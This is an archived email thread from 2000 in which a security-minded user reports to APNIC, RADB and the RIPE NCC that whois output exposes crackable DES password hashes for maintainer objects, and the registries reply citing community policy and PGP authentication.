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From: Request Tracker <info@apnic.net>
To: raju@linux-delhi.org
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Subject: [APNIC #62047] (info) Crypted passwords for maintainer objects
Date: Sat, 25 Nov 2000 15:18:33 +1000 (EST)
Status: RO


-- 

Greetings,

This message has been automatically generated in response to your message
to APNIC entitled 'Crypted passwords for maintainer objects',
the content of which appears below.

APNIC has assigned the ticket number [APNIC #62047] to this matter, 
and we will respond to your query as soon as possible.


In all future correspondence about this particular matter, please ensure
that the following string is included in the subject of your message:

    [APNIC #62047]

In future correspondence with APNIC about any other matter, please ensure
that this ticket number (#62047) is NOT included, so that a new ticket can
be generated for your query.

By following these directions, your correspondence with APNIC will be
correctly tracked by our ticketing system, resulting in faster and more
reliable response to your queries.


Thanks and best regards,

-- 
APNIC


-------------------------------------------------------------------------
-----BEGIN PGP SIGNED MESSAGE-----
Hash: SHA1

Hi,

I see that doing a whois on a maintainer object in your whois database
reveals the DES-encrypted password of the maintainer.  As you are
aware, it is trivial to brute-force crack (decode) a DES password, and
this is a serious security hole in your service.  Please treat this as
a critical issue and refrain from revealing the DES-encrypted password
in whois lookups.

I shall be going public with this information in one week.  Request
you to have fixed the problem by then.

Regards,

- -- Raju Mathur
-----BEGIN PGP SIGNATURE-----
Version: GnuPG v1.0.1 (GNU/Linux)
Comment: Processed by Mailcrypt 3.5.5 and Gnu Privacy Guard <http://www.gnupg.org/>

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=HmKH
-----END PGP SIGNATURE-----


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Subject: Crypted passwords for maintainer objects
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From: Request Tracker <info@apnic.net>
To: raju@linux-delhi.org
Cc: 
Subject: [APNIC #62049] (info) Crypted passwords for maintainer objects
Date: Sat, 25 Nov 2000 15:22:36 +1000 (EST)
Status: RO


-- 

Greetings,

This message has been automatically generated in response to your message
to APNIC entitled 'Crypted passwords for maintainer objects',
the content of which appears below.

APNIC has assigned the ticket number [APNIC #62049] to this matter, 
and we will respond to your query as soon as possible.


In all future correspondence about this particular matter, please ensure
that the following string is included in the subject of your message:

    [APNIC #62049]

In future correspondence with APNIC about any other matter, please ensure
that this ticket number (#62049) is NOT included, so that a new ticket can
be generated for your query.

By following these directions, your correspondence with APNIC will be
correctly tracked by our ticketing system, resulting in faster and more
reliable response to your queries.


Thanks and best regards,

-- 
APNIC


-------------------------------------------------------------------------
-----BEGIN PGP SIGNED MESSAGE-----
Hash: SHA1

Hi,

I see that doing a whois on a maintainer object in your whois database
reveals the DES-encrypted password of the maintainer.  As you are
aware, it is trivial to brute-force crack (decode) a DES password, and
this is a serious security hole in your service.  Please treat this as
a critical issue and refrain from revealing the DES-encrypted password
in whois lookups.

I shall be going public with this information in one week.  Request
you to have fixed the problem by then.

Regards,

- -- Raju Mathur
-----BEGIN PGP SIGNATURE-----
Version: GnuPG v1.0.1 (GNU/Linux)
Comment: Processed by Mailcrypt 3.5.5 and Gnu Privacy Guard <http://www.gnupg.org/>

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/SkAnjdq+7pYmV5YcuoO/laYulSC56Kt
=HmKH
-----END PGP SIGNATURE-----


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Subject: Crypted passwords for maintainer objects
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-------------------------------------------- Managed by Request Tracker

From technical@apnic.net  Sat Nov 25 11:00:51 2000
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From: Request Tracker <technical@apnic.net>
To: raju@linux-delhi.org
Cc: 
Subject: [APNIC #62050] (technical) Crypted passwords for maintainer objects
Date: Sat, 25 Nov 2000 15:22:36 +1000 (EST)
Status: RO


-- 

Greetings,

This message has been automatically generated in response to your message
to APNIC entitled 'Crypted passwords for maintainer objects',
the content of which appears below.

APNIC has assigned the ticket number [APNIC #62050] to this matter, 
and we will respond to your query as soon as possible, with the exception
of misdirected spam or network abuse reports.

For further information regarding spam or network abuse issues, please 
refer to one of the URLs below:

	http://www.apnic.net/db/spam.html
	http://www.apnic.net/db/abuse.html

In all future correspondence about this particular matter, please ensure
that the following string is included in the subject of your message:

    [APNIC #62050]

In future correspondence with APNIC about any other matter, please ensure
that this ticket number (#62050) is NOT included, so that a new 
ticket can be generated for your query.

By following these directions, your correspondence with APNIC will be
correctly tracked by our ticketing system, resulting in faster and more
reliable response to your queries.



Thanks and best regards,

-- 
APNIC


-------------------------------------------------------------------------
-----BEGIN PGP SIGNED MESSAGE-----
Hash: SHA1

Hi,

I see that doing a whois on a maintainer object in your whois database
reveals the DES-encrypted password of the maintainer.  As you are
aware, it is trivial to brute-force crack (decode) a DES password, and
this is a serious security hole in your service.  Please treat this as
a critical issue and refrain from revealing the DES-encrypted password
in whois lookups.

I shall be going public with this information in one week.  Request
you to have fixed the problem by then.

Regards,

- -- Raju Mathur
-----BEGIN PGP SIGNATURE-----
Version: GnuPG v1.0.1 (GNU/Linux)
Comment: Processed by Mailcrypt 3.5.5 and Gnu Privacy Guard <http://www.gnupg.org/>

iEYEARECAAYFAjofSxAACgkQyWjQ78xo0X+1YACeOxPCthdC/jah0K3JoJFbdPNi
/SkAnjdq+7pYmV5YcuoO/laYulSC56Kt
=HmKH
-----END PGP SIGNATURE-----


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>From info@apnic.net  Sat Nov 25 15:22:35 2000
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Date: Sat, 25 Nov 2000 10:46:39 +0530 (IST)
To: webmaster@apnic.net
Subject: Crypted passwords for maintainer objects
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-------------------------------------------- Managed by Request Tracker

From gerald@merit.edu  Mon Nov 27 09:49:41 2000
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	["2376" "Sunday" "26" "November" "2000" "13:59:28" "-0500" "Gerald Andrew Winters" "gerald@merit.edu" nil "64" "Re: [RADB #15112] Crypted passwords for maintainer objects" "^From:" nil nil "11" nil nil (number " " mark "     Gerald Andrew Win Nov 26   64/2376  " thread-indent "\"Re: [RADB #15112] Crypted passwords for maintainer objects\"\n") nil nil]
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In-Reply-To: <14879.34070.278516.159670@localhost.localdomain> from "Raju Mathur" at Nov 25, 2000 02:53:34 PM
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From: gerald@merit.edu (Gerald Andrew Winters)
To: raju@linux-delhi.org
Cc: db-admin@radb.net, irrd-team@merit.edu
Subject: Re: [RADB #15112] Crypted passwords for maintainer objects
Date: Sun, 26 Nov 2000 13:59:28 -0500 (EST)
Status: RO

Hello Raju,

Thank you for your comments.  We obviously do not want
security loopholes and appreciate your feedback.

However, showing the DES-encrypted password in the maintainer
was a decision made by the internet community and is not a local
decision by us.  (Please see ripe-120.ps for details at www.ripe.net).
The important fact is this is a community based decision.

People can use whatever level of security they wish.  You can
have no authentication to PGP authentication (see www.radb.net for
details).  We actively solicit the community to use PGP authentication
as it is very easy now to register your pgp key in the registry.  
However, the level of authentication is an individual decision and we 
cannot force anyone in this regard.

I'm sure you've also noticed that "MAIL-FROM" is a very common
form of authentication currently in use.  I think it is easier
to fake a 'mail from' header than to decode a DES password.  So there
is much room for improvement in regrads to registry authentication.

All is not as bad as it may seem.  More and more users are switching
to pgp authentication and by early summer we intend to have
RFC 2725 implemented in our registry software which addresses many
security problems.

Thank you for the advance notice in regards to giving us a week
to fix this problem.  However, you are welcome to notify the community 
about this whenever you wish.

--Gerald Winters


> 
> -----BEGIN PGP SIGNED MESSAGE-----
> Hash: SHA1
> 
> Hi,
> 
> I see that doing a whois on a maintainer object in your whois database
> reveals the DES-encrypted password of the maintainer if s/he is using
> password as his/her authentication scheme.  As you are aware, it is
> trivial to brute-force crack (decode) a DES password, and this is a
> serious security hole in your service.  Please treat this as a
> critical issue and refrain from revealing the DES-encrypted password
> in whois lookups.
> 
> I shall be going public with this information in one week.  Request
> you to have fixed the problem by then.
> 
> Regards,
> 
> - -- Raju Mathur
> -----BEGIN PGP SIGNATURE-----
> Version: GnuPG v1.0.1 (GNU/Linux)
> Comment: Processed by Mailcrypt 3.5.5 and Gnu Privacy Guard <http://www.gnupg.org/>
> 
> iEYEARECAAYFAjofhQsACgkQyWjQ78xo0X/ypQCfS4NkeuyRMD9Qshx743dgVt1z
> FmMAn3e/ahXFjLVuVGu02KvkdHjDx/kK
> =SPnT
> -----END PGP SIGNATURE-----
> 
> 

From technical@apnic.net  Mon Nov 27 12:35:22 2000
X-VM-v5-Data: ([nil nil nil nil t nil nil nil nil]
	["1480" "Monday" "27" "November" "2000" "16:57:04" "+1000" "Bruce Campbell via RT" "technical@apnic.net" "<200011270657.QAA25403@hadrian.staff.apnic.net>" "33" "[APNIC #62050] (technical) Crypted passwords for maintainer objects" "^From:" nil nil "11" nil nil (number " " mark "  R  Bruce Campbell vi Nov 27   33/1480  " thread-indent "\"[APNIC #62050] (technical) Crypted passwords for maintainer objects\"\n") nil nil]
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Reply-To: Bruce Campbell via RT <technical@apnic.net>
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From: Bruce Campbell via RT <technical@apnic.net>
To: raju@linux-delhi.org
Cc: ripe-dbm@ripe.net
Subject: [APNIC #62050] (technical) Crypted passwords for maintainer objects
Date: Mon, 27 Nov 2000 16:57:04 +1000 (EST)
Status: RO

raju@linux-delhi.org wrote (Sat, Nov 25 2000 15:22:36):

> I see that doing a whois on a maintainer object in your whois database
> reveals the DES-encrypted password of the maintainer.  As you are
> aware, it is trivial to brute-force crack (decode) a DES password, and
> this is a serious security hole in your service.  Please treat this as
> a critical issue and refrain from revealing the DES-encrypted password
> in whois lookups.

The APNIC Whois Databases uses code developed by our sister organisation for
Europe (the RIPE NCC) and shares many of the same issues.  The issue regarding
the visibility of the 'auth' attribute in the maintainer object has been
discussed before, however I regret that I am unable to find an online
reference for this discussion.

I am cc'ing the appropriate address in the RIPE NCC in the hopes that they
can provide a more definitive reference ( a reply to the APNIC ticketing
system will also reply to the original requestor ).

> I shall be going public with this information in one week.  Request
> you to have fixed the problem by then.

Kind regards,

-- 
  Bruce Campbell <bruce.campbell@apnic.net>                 +61-7-3367-0490
                      Systems Administrator      Regional Internet Registry
    Asia Pacific Network Information Centre     For the Asia Pacific Region
                   http://www.apnic.net/db/                 whois.APNIC.net



-------------------------------------------- Managed by Request Tracker

From ripe-dbm@ripe.net  Wed Nov 29 20:30:02 2000
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	["6010" "Wednesday" "29" "November" "2000" "11:31:25" "+0100" "RIPE Database Administration" "ripe-dbm@ripe.net" "<200011291031.LAA24135@birch.ripe.net>" "130" "Re: [APNIC #62050] (technical) Crypted passwords for maintainer objects " "^From:" nil nil "11" nil nil (number " " mark "     RIPE Database Adm Nov 29  130/6010  " thread-indent "\"Re: [APNIC #62050] (technical) Crypted passwords for maintainer objects \"\n") nil nil]
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In-reply-to: Your message of Mon, 27 Nov 2000 13:17:01 +0530.
             <14882.4469.52414.25633@localhost.localdomain> 
References: <14882.4469.52414.25633@localhost.localdomain> 
X-Organization: RIPE Network Coordination Centre
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From: RIPE Database Administration <ripe-dbm@ripe.net>
Sender: ripe-dbm@ripe.net
To: raju@linux-delhi.org
cc: Bruce Campbell via RT <technical@apnic.net>,
        gerald@merit.edu (Gerald Andrew Winters), db-admin@radb.net,
        irrd-team@merit.edu
Subject: Re: [APNIC #62050] (technical) Crypted passwords for maintainer objects 
Date: Wed, 29 Nov 2000 11:31:25 +0100
Status: RO

Dear Raju Mathur,

This matter was originally raised in October 1994, when the RIPE document
ripe-120 (ftp://ftp.ripe.net/ripe/docs/ripe-120.txt) was published:

"It is by no means meant to keep out a determined malicious attacker. The 
crypt function is vulnerable to exhaustive search by (lots of) fast 
machines and programs to do the searching are widely  available.  For  
this reason it is strongly discouraged to use encrypted passwords also 
used for other purposes such as Unix login accounts in this scheme. As you 
are publishing the encrypted password in the database it is open  to  attack."

This was re-stated in ripe-153 (published in January 1997) and in ripe-157
(published in May 1997).  In November 1998, ripe-189 was published, in which
the RIPE NCC announced that it was supporting PGP authentication in the RIPE 
Database (the scheme is also described in RFC-2726).  In January 1999, the 
RIPE NCC published ripe-190, offering free PGP licences on request, to 
anyone who had a mntner object in the RIPE Database.  At every RIPE Meeting 
since that time, the RIPE NCC has encouraged the RIPE community to adopt PGP 
authentication.

The RIPE NCC does not manage the data in the RIPE Network Management Database.
The responsibility for maintaining and protecting the data is with those who
put the data in there.  However, the RIPE NCC has provided a PGP authentication
scheme and encourages its use.  

You give a one-week deadline before you make a public statement about this.  We
cannot unilaterly change the functionality of the RIPE Database; we only act on
the instructions of the RIPE Database Working Group, which has a mailing list:
<db-wg@ripe.net>.  We invite you to express your concerns on that list.

BTW, this is the first message from you that I have seen.  I am investigating if
we received any other message from you previous to this one.

If you have any more questions, please contact
<ripe-dbm@ripe.net>.

Kind regards,

A. M. R. Magee
______________
RIPE NCC 


 Raju Mathur <raju@linux-delhi.org> writes:
 * -----BEGIN PGP SIGNED MESSAGE-----
 * Hash: SHA1
 * 
 * Hi Bruce,
 * 
 * I've already sent a copy of this mail to RIPE and RADB.  RADB's reply
 * basically states that ``it's what the users want, so our hands are
 * tied'', which isn't very heartening.  I'm still awating a response
 * from RIPE.
 * 
 * While I agree that users (in general) should be given what they want,
 * I would still not (for example) allow a password-less account as a
 * Unix system administrator.  I have yet to evaluate the extent of
 * damage that a person with a cracked APNIC, RIPE or RADB password could
 * do, but I suspect that it could be pretty serious, at least in the
 * short term.  I presume that even if someone manages to change an
 * object in your database the owner/maintainer of that object would
 * still be notified and have the option of correcting the issue; however
 * even a short-term rogue change in the database can have global routing
 * and security implications (e.g. a change in the in.addr-arpa database
 * could be the precursor for major security breaches).
 * 
 * Please allow me to reiterate that the policy of displaying CRYPT-PW
 * passwords without control is viewed by me personally with great
 * concern, and I suspect that that is the view most security
 * professionals also would take.  My objective is to have a secure,
 * stable Internet, and I'm willing to do anything in power to work
 * towards this goal.  If one of those tasks is to bring potential
 * security holes into the limelight, I shall do that (by posting to
 * BUGTRAQ and CERT, albeit reluctantly); before that, however, I would
 * request you again to fix the problem at the source rather than have
 * half the script-kiddies in the world trying to attack your databases,
 * and maybe succeeding.
 * 
 * Regards,
 * 
 * - -- Raju
 * 
 * >>>>> "Bruce" == Bruce Campbell via RT <technical@apnic.net> writes:
 * 
 *     Bruce> raju@linux-delhi.org wrote (Sat, Nov 25 2000 15:22:36):
 *     >> I see that doing a whois on a maintainer object in your whois
 *     >> database reveals the DES-encrypted password of the maintainer.
 *     >> As you are aware, it is trivial to brute-force crack (decode) a
 *     >> DES password, and this is a serious security hole in your
 *     >> service.  Please treat this as a critical issue and refrain
 *     >> from revealing the DES-encrypted password in whois lookups.
 * 
 *     Bruce> The APNIC Whois Databases uses code developed by our sister
 *     Bruce> organisation for Europe (the RIPE NCC) and shares many of
 *     Bruce> the same issues.  The issue regarding the visibility of the
 *     Bruce> 'auth' attribute in the maintainer object has been
 *     Bruce> discussed before, however I regret that I am unable to find
 *     Bruce> an online reference for this discussion.
 * 
 *     Bruce> I am cc'ing the appropriate address in the RIPE NCC in the
 *     Bruce> hopes that they can provide a more definitive reference ( a
 *     Bruce> reply to the APNIC ticketing system will also reply to the
 *     Bruce> original requestor ).
 * 
 *     >> I shall be going public with this information in one week.
 *     >> Request you to have fixed the problem by then.
 * 
 *     Bruce> Kind regards,
 * 
 *     Bruce> -- Bruce Campbell <bruce.campbell@apnic.net>
 *     Bruce> +61-7-3367-0490 Systems Administrator Regional Internet
 *     Bruce> Registry Asia Pacific Network Information Centre For the
 *     Bruce> Asia Pacific Region http://www.apnic.net/db/
 *     Bruce> whois.APNIC.net
 * 
 * 
 * 
 *     Bruce> -------------------------------------------- Managed by
 *     Bruce> Request Tracker
 * -----BEGIN PGP SIGNATURE-----
 * Version: GnuPG v1.0.1 (GNU/Linux)
 * Comment: Processed by Mailcrypt 3.5.5 and Gnu Privacy Guard <http://www.gnup
 * g.org/>
 * 
 * iEYEARECAAYFAjoiEKgACgkQyWjQ78xo0X/OewCeO209lBqSTBrlWms8j81Lmxtb
 * vhoAnjvjbJHfE7QQ4scbd8q3ri5bokPF
 * =mKDL
 * -----END PGP SIGNATURE-----
 * 

From technical@apnic.net  Wed Nov 29 20:30:12 2000
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From: RIPE Database Administration  via RT <technical@apnic.net>
To: raju@linux-delhi.org
Cc: 
Subject: [APNIC #62050] (technical) Crypted passwords for maintainer objects 
Date: Wed, 29 Nov 2000 20:33:26 +1000 (EST)
Status: RO

Dear Raju Mathur,

This matter was originally raised in October 1994, when the RIPE document
ripe-120 (ftp://ftp.ripe.net/ripe/docs/ripe-120.txt) was published:

"It is by no means meant to keep out a determined malicious attacker. The 
crypt function is vulnerable to exhaustive search by (lots of) fast 
machines and programs to do the searching are widely  available.  For  
this reason it is strongly discouraged to use encrypted passwords also 
used for other purposes such as Unix login accounts in this scheme. As you 
are publishing the encrypted password in the database it is open  to  attack."

This was re-stated in ripe-153 (published in January 1997) and in ripe-157
(published in May 1997).  In November 1998, ripe-189 was published, in which
the RIPE NCC announced that it was supporting PGP authentication in the RIPE 
Database (the scheme is also described in RFC-2726).  In January 1999, the 
RIPE NCC published ripe-190, offering free PGP licences on request, to 
anyone who had a mntner object in the RIPE Database.  At every RIPE Meeting 
since that time, the RIPE NCC has encouraged the RIPE community to adopt PGP 
authentication.

The RIPE NCC does not manage the data in the RIPE Network Management Database.
The responsibility for maintaining and protecting the data is with those who
put the data in there.  However, the RIPE NCC has provided a PGP authentication
scheme and encourages its use.  

You give a one-week deadline before you make a public statement about this.  We
cannot unilaterly change the functionality of the RIPE Database; we only act on
the instructions of the RIPE Database Working Group, which has a mailing list:
<db-wg@ripe.net>.  We invite you to express your concerns on that list.

BTW, this is the first message from you that I have seen.  I am investigating if
we received any other message from you previous to this one.

If you have any more questions, please contact
<ripe-dbm@ripe.net>.

Kind regards,

A. M. R. Magee
______________
RIPE NCC 


 Raju Mathur <raju@linux-delhi.org> writes:
 * -----BEGIN PGP SIGNED MESSAGE-----
 * Hash: SHA1
 * 
 * Hi Bruce,
 * 
 * I've already sent a copy of this mail to RIPE and RADB.  RADB's reply
 * basically states that ``it's what the users want, so our hands are
 * tied'', which isn't very heartening.  I'm still awating a response
 * from RIPE.
 * 
 * While I agree that users (in general) should be given what they want,
 * I would still not (for example) allow a password-less account as a
 * Unix system administrator.  I have yet to evaluate the extent of
 * damage that a person with a cracked APNIC, RIPE or RADB password could
 * do, but I suspect that it could be pretty serious, at least in the
 * short term.  I presume that even if someone manages to change an
 * object in your database the owner/maintainer of that object would
 * still be notified and have the option of correcting the issue; however
 * even a short-term rogue change in the database can have global routing
 * and security implications (e.g. a change in the in.addr-arpa database
 * could be the precursor for major security breaches).
 * 
 * Please allow me to reiterate that the policy of displaying CRYPT-PW
 * passwords without control is viewed by me personally with great
 * concern, and I suspect that that is the view most security
 * professionals also would take.  My objective is to have a secure,
 * stable Internet, and I'm willing to do anything in power to work
 * towards this goal.  If one of those tasks is to bring potential
 * security holes into the limelight, I shall do that (by posting to
 * BUGTRAQ and CERT, albeit reluctantly); before that, however, I would
 * request you again to fix the problem at the source rather than have
 * half the script-kiddies in the world trying to attack your databases,
 * and maybe succeeding.
 * 
 * Regards,
 * 
 * - -- Raju
 * 
 * >>>>> "Bruce" == Bruce Campbell via RT <technical@apnic.net> writes:
 * 
 *     Bruce> raju@linux-delhi.org wrote (Sat, Nov 25 2000 15:22:36):
 *     >> I see that doing a whois on a maintainer object in your whois
 *     >> database reveals the DES-encrypted password of the maintainer.
 *     >> As you are aware, it is trivial to brute-force crack (decode) a
 *     >> DES password, and this is a serious security hole in your
 *     >> service.  Please treat this as a critical issue and refrain
 *     >> from revealing the DES-encrypted password in whois lookups.
 * 
 *     Bruce> The APNIC Whois Databases uses code developed by our sister
 *     Bruce> organisation for Europe (the RIPE NCC) and shares many of
 *     Bruce> the same issues.  The issue regarding the visibility of the
 *     Bruce> 'auth' attribute in the maintainer object has been
 *     Bruce> discussed before, however I regret that I am unable to find
 *     Bruce> an online reference for this discussion.
 * 
 *     Bruce> I am cc'ing the appropriate address in the RIPE NCC in the
 *     Bruce> hopes that they can provide a more definitive reference ( a
 *     Bruce> reply to the APNIC ticketing system will also reply to the
 *     Bruce> original requestor ).
 * 
 *     >> I shall be going public with this information in one week.
 *     >> Request you to have fixed the problem by then.
 * 
 *     Bruce> Kind regards,
 * 
 *     Bruce> -- Bruce Campbell <bruce.campbell@apnic.net>
 *     Bruce> +61-7-3367-0490 Systems Administrator Regional Internet
 *     Bruce> Registry Asia Pacific Network Information Centre For the
 *     Bruce> Asia Pacific Region http://www.apnic.net/db/
 *     Bruce> whois.APNIC.net
 * 
 * 
 * 
 *     Bruce> -------------------------------------------- Managed by
 *     Bruce> Request Tracker
 * -----BEGIN PGP SIGNATURE-----
 * Version: GnuPG v1.0.1 (GNU/Linux)
 * Comment: Processed by Mailcrypt 3.5.5 and Gnu Privacy Guard <http://www.gnup
 * g.org/>
 * 
 * iEYEARECAAYFAjoiEKgACgkQyWjQ78xo0X/OewCeO209lBqSTBrlWms8j81Lmxtb
 * vhoAnjvjbJHfE7QQ4scbd8q3ri5bokPF
 * =mKDL
 * -----END PGP SIGNATURE-----
 * 


--- Headers Follow ---

>From info@apnic.net  Wed Nov 29 20:33:24 2000
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To: raju@linux-delhi.org
cc: Bruce Campbell via RT <technical@apnic.net>,
        gerald@merit.edu (Gerald Andrew Winters), db-admin@radb.net,
        irrd-team@merit.edu
Subject: Re: [APNIC #62050] (technical) Crypted passwords for maintainer objects 
In-reply-to: Your message of Mon, 27 Nov 2000 13:17:01 +0530.
             <14882.4469.52414.25633@localhost.localdomain> 
References: <14882.4469.52414.25633@localhost.localdomain> 
From: RIPE Database Administration <ripe-dbm@ripe.net>
X-Organization: RIPE Network Coordination Centre
X-Phone: +31 20 535 4444
X-Fax: +31 20 535 4445
Date: Wed, 29 Nov 2000 11:31:25 +0100
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-------------------------------------------- Managed by Request Tracker

From gerald@merit.edu  Wed Nov 29 22:33:18 2000
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In-Reply-To: <14882.4469.52414.25633@localhost.localdomain> from "Raju Mathur" at Nov 27, 2000 01:17:01 PM
X-Mailer: ELM [version 2.5 PL2]
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From: gerald@merit.edu (Gerald Andrew Winters)
To: raju@linux-delhi.org
Cc: technical@apnic.net (Bruce Campbell via RT), ripe-dbm@ripe.net,
        gerald@merit.edu (Gerald Andrew Winters), db-admin@radb.net,
        irrd-team@merit.edu
Subject: Re: [APNIC #62050] (technical) Crypted passwords for maintainer objects
Date: Wed, 29 Nov 2000 10:14:07 -0500 (EST)
Status: RO

Raju,

> I've already sent a copy of this mail to RIPE and RADB.  RADB's reply
> basically states that ``it's what the users want, so our hands are
> tied'', which isn't very heartening.  I'm still awating a response
> from RIPE.

Your characterization of my comments is true.  However, I had
much more to say.  I will forward my original response 
after this email so that others can draw their own
conclusions.

> While I agree that users (in general) should be given what they want,
> I would still not (for example) allow a password-less account as a
> Unix system administrator.  

This is an unfair analogy.  The relationship between a Unix sysadmin
and his network is very much different between and entire community
of users and the registries.

A sysadmin simply su's and makes whatever changes are desired.  In contrast,
changes to the technology used at the registries come about from the open
standards process.  This means changes take place at a slower pace
through the meetings and with appoval from the entire community.  The reason
for this is to avoid dictatorship and general anarachy.  The price
for this is a slower migration path for changes.

> I have yet to evaluate the extent of
> damage that a person with a cracked APNIC, RIPE or RADB password could
> do, but I suspect that it could be pretty serious, at least in the
> short term.  

Very true.

> Please allow me to reiterate that the policy of displaying CRYPT-PW
> passwords without control is viewed by me personally with great
> concern, and I suspect that that is the view most security
> professionals also would take.  
> My objective is to have a secure,
> stable Internet, and I'm willing to do anything in power to work
> towards this goal.  If one of those tasks is to bring potential
> security holes into the limelight, 

Very true.  However, your remark is akin to me making an Internet 
announcement something like, "SNMP v1 community strings are transmitted 
in cleartext.  This is terrible!  You have 1 week to fix it and then I'm 
going public."  It's old news.  We all know it and dislike it as
much as you.

And what about "MAIL-FROM" authentication?  You do not include
this in your remarks.  Certainly your observations would be more
potent by adding "MAIL-FROM".

Have you read RFC 2726?  Do you realize that all users can 
use this form of authentication?

> I shall do that (by posting to
> BUGTRAQ and CERT, albeit reluctantly); before that, however, I would
> request you again to fix the problem at the source rather than have
> half the script-kiddies in the world trying to attack your databases,
> and maybe succeeding.

The registries will not unilaterally go
into the database's and change data or implement new sercurity features
without the approval of the community.  What you are suggesting won't
work anyway (ie, you still have the "MAIL-FROM" problem).

We are all sympathatic to your criticism.  In fact the RIPE NCC and
myself have gotten up numerous times at public forums (ripe, ietf, ...)
and urged the public to convert to PGP authentication.  The registries
agree with you but real change must come from the community.

I would suggest to you to come to the meetings and make your proposal.
I'm sure you will have *many* supporters.

--Gerald Winters

From technical@apnic.net  Wed Nov 29 22:33:37 2000
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From: (Gerald Andrew Winters) via RT <technical@apnic.net>
To: raju@linux-delhi.org
Cc: 
Subject: [APNIC #62050] (technical) Crypted passwords for maintainer objects
Date: Thu, 30 Nov 2000 01:14:38 +1000 (EST)
Status: RO

Raju,

> I've already sent a copy of this mail to RIPE and RADB.  RADB's reply
> basically states that ``it's what the users want, so our hands are
> tied'', which isn't very heartening.  I'm still awating a response
> from RIPE.

Your characterization of my comments is true.  However, I had
much more to say.  I will forward my original response 
after this email so that others can draw their own
conclusions.

> While I agree that users (in general) should be given what they want,
> I would still not (for example) allow a password-less account as a
> Unix system administrator.  

This is an unfair analogy.  The relationship between a Unix sysadmin
and his network is very much different between and entire community
of users and the registries.

A sysadmin simply su's and makes whatever changes are desired.  In contrast,
changes to the technology used at the registries come about from the open
standards process.  This means changes take place at a slower pace
through the meetings and with appoval from the entire community.  The reason
for this is to avoid dictatorship and general anarachy.  The price
for this is a slower migration path for changes.

> I have yet to evaluate the extent of
> damage that a person with a cracked APNIC, RIPE or RADB password could
> do, but I suspect that it could be pretty serious, at least in the
> short term.  

Very true.

> Please allow me to reiterate that the policy of displaying CRYPT-PW
> passwords without control is viewed by me personally with great
> concern, and I suspect that that is the view most security
> professionals also would take.  
> My objective is to have a secure,
> stable Internet, and I'm willing to do anything in power to work
> towards this goal.  If one of those tasks is to bring potential
> security holes into the limelight, 

Very true.  However, your remark is akin to me making an Internet 
announcement something like, "SNMP v1 community strings are transmitted 
in cleartext.  This is terrible!  You have 1 week to fix it and then I'm 
going public."  It's old news.  We all know it and dislike it as
much as you.

And what about "MAIL-FROM" authentication?  You do not include
this in your remarks.  Certainly your observations would be more
potent by adding "MAIL-FROM".

Have you read RFC 2726?  Do you realize that all users can 
use this form of authentication?

> I shall do that (by posting to
> BUGTRAQ and CERT, albeit reluctantly); before that, however, I would
> request you again to fix the problem at the source rather than have
> half the script-kiddies in the world trying to attack your databases,
> and maybe succeeding.

The registries will not unilaterally go
into the database's and change data or implement new sercurity features
without the approval of the community.  What you are suggesting won't
work anyway (ie, you still have the "MAIL-FROM" problem).

We are all sympathatic to your criticism.  In fact the RIPE NCC and
myself have gotten up numerous times at public forums (ripe, ietf, ...)
and urged the public to convert to PGP authentication.  The registries
agree with you but real change must come from the community.

I would suggest to you to come to the meetings and make your proposal.
I'm sure you will have *many* supporters.

--Gerald Winters


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Subject: Re: [APNIC #62050] (technical) Crypted passwords for maintainer objects
To: raju@linux-delhi.org
Date: Wed, 29 Nov 2000 10:14:07 -0500 (EST)
Cc: technical@apnic.net (Bruce Campbell via RT), ripe-dbm@ripe.net,
        gerald@merit.edu (Gerald Andrew Winters), db-admin@radb.net,
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-------------------------------------------- Managed by Request Tracker

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From: gerald@merit.edu (Gerald Andrew Winters)
To: raju@linux-delhi.org
Cc: technical@apnic.net, ripe-dbm@ripe.net, irrd-team@merit.edu
Subject: Re: [RADB #15112] Crypted passwords for maintainer objects (fwd)
Date: Wed, 29 Nov 2000 10:20:06 -0500 (EST)
Status: RO

>From gerald@merit.edu  Sun Nov 26 13:59:30 2000
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Subject: Re: [RADB #15112] Crypted passwords for maintainer objects
To: raju@linux-delhi.org
Date: Sun, 26 Nov 2000 13:59:28 -0500 (EST)
Cc: db-admin@radb.net, irrd-team@merit.edu
In-Reply-To: <14879.34070.278516.159670@localhost.localdomain> from "Raju Mathur" at Nov 25, 2000 02:53:34 PM
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From: gerald@merit.edu (Gerald Andrew Winters)

Hello Raju,

Thank you for your comments.  We obviously do not want
security loopholes and appreciate your feedback.

However, showing the DES-encrypted password in the maintainer
was a decision made by the internet community and is not a local
decision by us.  (Please see ripe-120.ps for details at www.ripe.net).
The important fact is this is a community based decision.

People can use whatever level of security they wish.  You can
have no authentication to PGP authentication (see www.radb.net for
details).  We actively solicit the community to use PGP authentication
as it is very easy now to register your pgp key in the registry.  
However, the level of authentication is an individual decision and we 
cannot force anyone in this regard.

I'm sure you've also noticed that "MAIL-FROM" is a very common
form of authentication currently in use.  I think it is easier
to fake a 'mail from' header than to decode a DES password.  So there
is much room for improvement in regrads to registry authentication.

All is not as bad as it may seem.  More and more users are switching
to pgp authentication and by early summer we intend to have
RFC 2725 implemented in our registry software which addresses many
security problems.

Thank you for the advance notice in regards to giving us a week
to fix this problem.  However, you are welcome to notify the community 
about this whenever you wish.

--Gerald Winters


> 
> -----BEGIN PGP SIGNED MESSAGE-----
> Hash: SHA1
> 
> Hi,
> 
> I see that doing a whois on a maintainer object in your whois database
> reveals the DES-encrypted password of the maintainer if s/he is using
> password as his/her authentication scheme.  As you are aware, it is
> trivial to brute-force crack (decode) a DES password, and this is a
> serious security hole in your service.  Please treat this as a
> critical issue and refrain from revealing the DES-encrypted password
> in whois lookups.
> 
> I shall be going public with this information in one week.  Request
> you to have fixed the problem by then.
> 
> Regards,
> 
> - -- Raju Mathur
> -----BEGIN PGP SIGNATURE-----
> Version: GnuPG v1.0.1 (GNU/Linux)
> Comment: Processed by Mailcrypt 3.5.5 and Gnu Privacy Guard <http://www.gnupg.org/>
> 
> iEYEARECAAYFAjofhQsACgkQyWjQ78xo0X/ypQCfS4NkeuyRMD9Qshx743dgVt1z
> FmMAn3e/ahXFjLVuVGu02KvkdHjDx/kK
> =SPnT
> -----END PGP SIGNATURE-----
> 
> 


From ripe-dbm@ripe.net  Sat Dec  2 09:02:13 2000
